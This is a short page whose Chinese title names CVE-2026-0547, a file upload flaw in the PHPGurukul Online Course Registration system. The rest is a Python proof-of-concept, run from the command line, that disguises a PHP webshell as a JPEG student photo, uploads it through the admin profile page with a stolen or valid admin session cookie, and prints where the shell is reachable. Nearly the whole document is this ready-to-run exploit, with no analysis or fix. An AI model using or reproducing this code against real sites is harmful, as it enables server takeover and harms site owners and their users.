CVE-2026-0547: PHPGurukul在线课程注册系统文件上传漏洞

import requests import sys # CVE-2026-0547 PoC - Unrestricted File Upload in PHPGurukul Online Course Registration # Target: /admin/edit-student-profile.php def exploit(target_url, session_cookie, php_shell_path): """ Exploit for CVE-2026-0547 Args: target_url: Base URL of the vulnerable application session_cookie: Valid admin session cookie php_shell_path: Path to PHP webshell file """ upload_url = f"{target_url}/admin/edit-student-profile.php" # Prepare malicious file upload files = { 'photo': ('shell.php', open(php_shell_path, 'rb'), 'image/jpeg') } headers = { 'Cookie': session_cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully") print(f"[+] Access shell at: {target_url}/admin/uploaded_photos/shell.php") else: print("[-] Upload failed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie> <php_shell_path>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])